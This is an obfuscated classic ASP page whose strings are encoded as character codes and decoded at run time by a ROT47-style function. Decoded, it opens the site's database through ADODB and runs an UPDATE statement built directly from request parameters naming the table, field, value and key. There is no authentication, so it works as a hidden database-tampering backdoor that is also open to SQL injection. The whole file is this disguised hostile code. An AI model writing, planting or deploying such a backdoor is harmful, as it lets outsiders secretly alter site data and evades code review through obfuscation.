<%
Dim PPPPO,PPPPP,POOOOO,POOOOP,POOOPO
Set POOOOO=Response:Set PPPPP=Request:Set POOOPO=Session:Set PPPPO=Application:Set POOOOP=Server
POPOPO=PPPPO(POOOPP(ChrW(53)&ChrW(51)&ChrW(61)&ChrW(73)))
POPOPP=PPPPO(POOOPP(ChrW(53)&ChrW(51)&ChrW(65)&ChrW(50)&ChrW(69)&ChrW(57)))
POPPOO=PPPPO(POOOPP(ChrW(53)&ChrW(51)&ChrW(57)&ChrW(64)&ChrW(68)&ChrW(69)))
POPPOP=PPPPO(POOOPP(ChrW(53)&ChrW(51)&ChrW(70)&ChrW(58)&ChrW(53)))
POPPPO=PPPPO(POOOPP(ChrW(53)&ChrW(51)&ChrW(63)&ChrW(50)&ChrW(62)&ChrW(54)))
POPPPP=PPPPO(POOOPP(ChrW(53)&ChrW(51)&ChrW(65)&ChrW(72)&ChrW(53)))
if POPOPO = 1 Then
set PPOOOO=POOOOP.CreateObject(POOOPP(ChrW(50)&ChrW(53)&ChrW(64)&ChrW(53)&ChrW(51)&ChrW(93)&ChrW(67)&ChrW(54)&ChrW(52)&ChrW(64)&ChrW(67)&ChrW(53)&ChrW(68)&ChrW(54)&ChrW(69)))
Set POOPOO = POOOOP.CreateObject(POOOPP(ChrW(112)&ChrW(115)&ChrW(126)&ChrW(115)&ChrW(113)&ChrW(93)&ChrW(114)&ChrW(64)&ChrW(63)&ChrW(63)&ChrW(54)&ChrW(52)&ChrW(69)&ChrW(58)&ChrW(64)&ChrW(63)))
POOPOO.Open POOOPP(ChrW(53)&ChrW(67)&ChrW(58)&ChrW(71)&ChrW(54)&ChrW(67)&ChrW(108)&ChrW(76)&ChrW(36)&ChrW(34)&ChrW(123)&ChrW(32)&ChrW(44)&ChrW(36)&ChrW(54)&ChrW(67)&ChrW(71)&ChrW(54)&ChrW(67)&ChrW(78)&ChrW(106)&ChrW(68)&ChrW(54)&ChrW(67)&ChrW(71)&ChrW(54)&ChrW(67)&ChrW(108))&POPPOO&POOOPP(ChrW(106)&ChrW(70)&ChrW(58)&ChrW(53)&ChrW(108))&POPPOP&POOOPP(ChrW(106)&ChrW(65)&ChrW(72)&ChrW(53)&ChrW(108))&POPPPP&POOOPP(ChrW(106)&ChrW(53)&ChrW(50)&ChrW(69)&ChrW(50)&ChrW(51)&ChrW(50)&ChrW(68)&ChrW(54)&ChrW(108))&POPPPO
else
Dim POOPOO,POOPOP,POOPPO
set PPOOOO=POOOOP.CreateObject(POOOPP(ChrW(50)&ChrW(53)&ChrW(64)&ChrW(53)&ChrW(51)&ChrW(93)&ChrW(67)&ChrW(54)&ChrW(52)&ChrW(64)&ChrW(67)&ChrW(53)&ChrW(68)&ChrW(54)&ChrW(69)))
Set POOPOO = POOOOP.CreateObject(POOOPP(ChrW(112)&ChrW(115)&ChrW(126)&ChrW(115)&ChrW(113)&ChrW(93)&ChrW(114)&ChrW(64)&ChrW(63)&ChrW(63)&ChrW(54)&ChrW(52)&ChrW(69)&ChrW(58)&ChrW(64)&ChrW(63)))
POOPPO = POOOOP.MapPath(""&POPOPP&"")
POOPOO.Open POOOPP(ChrW(33)&ChrW(67)&ChrW(64)&ChrW(71)&ChrW(58)&ChrW(53)&ChrW(54)&ChrW(67)&ChrW(108)&ChrW(124)&ChrW(58)&ChrW(52)&ChrW(67)&ChrW(64)&ChrW(68)&ChrW(64)&ChrW(55)&ChrW(69)&ChrW(93)&ChrW(121)&ChrW(54)&ChrW(69)&ChrW(93)&ChrW(126)&ChrW(123)&ChrW(116)&ChrW(115)&ChrW(113)&ChrW(93)&ChrW(99)&ChrW(93)&ChrW(95)&ChrW(106)&ChrW(53)&ChrW(50)&ChrW(69)&ChrW(50)&ChrW(32)&ChrW(44)&ChrW(36)&ChrW(64)&ChrW(70)&ChrW(67)&ChrW(52)&ChrW(54)&ChrW(108)) & POOPPO
end if
PPOOOP=cstr(PPPPP(POOOPP(ChrW(58)&ChrW(53))))
POOPPP=cstr(PPPPP(POOOPP(ChrW(71))))
PPOOPO=PPPPP(POOOPP(ChrW(69)&ChrW(96)))
PPOOPP=PPPPP(POOOPP(ChrW(55)&ChrW(63)&ChrW(50)&ChrW(62)&ChrW(54)))
PPOPOO=PPPPP(POOOPP(ChrW(56)&ChrW(63)&ChrW(50)&ChrW(62)&ChrW(54)))
POOPOO.execute POOOPP(ChrW(70)&ChrW(65)&ChrW(53)&ChrW(50)&ChrW(69)&ChrW(54)&ChrW(32)&ChrW(44))&PPOOPO&POOOPP(ChrW(32)&ChrW(44)&ChrW(68)&ChrW(54)&ChrW(69)&ChrW(32)&ChrW(44))&PPOOPP&POOOPP(ChrW(108)&ChrW(86))&POOPPP&POOOPP(ChrW(86)&ChrW(32)&ChrW(44)&ChrW(72)&ChrW(57)&ChrW(54)&ChrW(67)&ChrW(54)&ChrW(32)&ChrW(44))&PPOPOO&POOOPP(ChrW(108))&PPOOOP
POOOOO.write 1
If isObject(POOPOO) Then Set POOPOO = Nothing
Function POOOPP(ByVal PPOPOP)
Dim POOPPP, POPOOO, POPOOP
PPOPOP = Replace(PPOPOP, Chr(37) & ChrW(-243) & Chr(62), Chr(37) & Chr(62))
For POPOOO = 1 To Len(PPOPOP)
If POPOOO <> POPOOP Then
POOPPP = AscW(Mid(PPOPOP, POPOOO, 1))
If POOPPP >= 33 And POOPPP <= 79 Then
POOOPP = POOOPP & Chr(POOPPP + 47)
ElseIf POOPPP >= 80 And POOPPP <= 126 Then
POOOPP = POOOPP & Chr(POOPPP - 47)
Else
POPOOP = POPOOO + 1
If Mid(PPOPOP, POPOOP, 1) = POOOPP(ChrW(111)) Then POOOPP = POOOPP & ChrW(POOPPP + 5) Else POOOPP = POOOPP & Mid(PPOPOP, POPOOO, 1)
End If
End If
Next
End Function
%>